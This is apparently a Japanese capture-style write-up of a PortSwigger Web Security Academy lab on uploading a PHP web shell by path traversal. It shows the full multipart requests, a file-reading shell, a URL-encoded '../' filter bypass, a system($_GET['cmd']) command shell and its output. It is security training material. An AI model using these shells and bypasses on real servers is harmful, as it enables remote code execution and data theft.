パストラバーサルによる Web shell のアップロード。16 of 35 ラボ
デフォルトリクエスト:
POST /my-account/avatar HTTP/2 Host: 0ad800ba03f91ee688c6232a009900bf.web-security-academy.net Cookie: session=4VgZ4diJ0TNs09zxY0szfP2oromTWLrv ~省略~ ------WebKitFormBoundaryzCobiK7gdMBan9Ma Content-Disposition: form-data; name="avatar"; filename="hacker.png" Content-Type: image/png �PNG ~バイナリのため省略~
デフォルトアップロード先:
<img src="/files/avatars/hacker.png" class="avatar">

テスト用WebShell
<?php echo file_get_contents('/home/carlos/secret'); ?>
改ざん1
POST /my-account/avatar HTTP/2 Host: 0ad800ba03f91ee688c6232a009900bf.web-security-academy.net Cookie: session=4VgZ4diJ0TNs09zxY0szfP2oromTWLrv ~省略~ ------WebKitFormBoundaryENxaYuWtz3aTXxi8 Content-Disposition: form-data; name="avatar"; filename="webshell1.php" Content-Type: application/octet-stream <?php echo file_get_contents('/home/carlos/secret'); ?> ------WebKitFormBoundaryENxaYuWtz3aTXxi8 Content-Disposition: form-data; name="user" wiener ------WebKitFormBoundaryENxaYuWtz3aTXxi8 Content-Disposition: form-data; name="csrf" 3RxcadHOS00PFw62rHZp6jP1K3szzss7 ------WebKitFormBoundaryENxaYuWtz3aTXxi8--
アップロード先:
<img src="/files/avatars/webshell1.php" class="avatar">
結果 → ソースコードがそのまま表示される。
このディレクトリはPHPファイルの実行が許可されていない模様。

そこでパストラバーサルを使い、アップロード先を変えてみる。
改ざん2
------WebKitFormBoundaryENxaYuWtz3aTXxi8 Content-Disposition: form-data; name="avatar"; filename="../webshell2.php" Content-Type: application/octet-stream <?php echo file_get_contents('/home/carlos/secret'); ?>
アップロード先:
<img src="/files/avatars/../webshell2.php" class="avatar">
しかし、404 Not Found

Repeater のレスポンスは
"The file avatars/webshell2.php has been uploaded." となっており、files/avatars/webshell2.php にアップロードされてしまっている。

これはアプリケーションにパストラバーサルの ../ を削除するフィルターが入っている可能性がある。
そこで、パストラバーサルのページを参考に、バイパスを試す。
一部の状況(URLパスや
multipart/form-dataリクエストのfilenameパラメータなど)では、Webサーバーがアプリケーションへ入力を渡す前にディレクトリトラバーサルシーケンスを削除する場合があります。この種のサニタイズ処理を回避するには、../文字をURLエンコード(場合によっては二重URLエンコード)する方法が有効です。これによりそれぞれ%2e%2e%2fおよび%252e%252e%252fとなります。
..%c0%afや..%ef%bc%8fなどの非標準エンコーディングも有効な場合があります。Burp Suite Professional ユーザー向けに、Burp Intruder には事前定義されたペイロードリスト「Fuzzing - path traversal」が用意されています。これには試行可能なエンコード済みパストラバーサルシーケンスが含まれています。 https://portswigger.net/web-security/file-path-traversal
------WebKitFormBoundaryENxaYuWtz3aTXxi8 Content-Disposition: form-data; name="avatar"; filename="%2e%2e%2fwebshell3.php" Content-Type: application/octet-stream <?php echo file_get_contents('/home/carlos/secret'); ?>
レスポンスに少し変化があり ../ が残っています。期待できそうです。
"The file avatars/../webshell3.php has been uploaded."


引き続き 404 Not Found ですが、アドレスの /avatars/..%2f が余計です。
消して /files/webshell3.php にアクセスすると……解決。
WebShell4.php。OSコマンド実行用
<?php system($_GET['cmd']); ?>
GET /files/webshell4.php?cmd=ls+-la HTTP/2 HTTP/2 200 OK total 12 drwxr-xr-x 1 carlos carlos 81 Nov 2 14:20 . drwxrwxr-x 1 peter peter 18 Jul 6 01:09 .. drwxr-xr-x 1 carlos carlos 65 Nov 2 14:15 avatars -rw-rw-r-- 1 carlos carlos 30 Nov 2 14:15 webshell3.php -rw-rw-r-- 1 carlos carlos 30 Nov 2 14:20 webshell4.php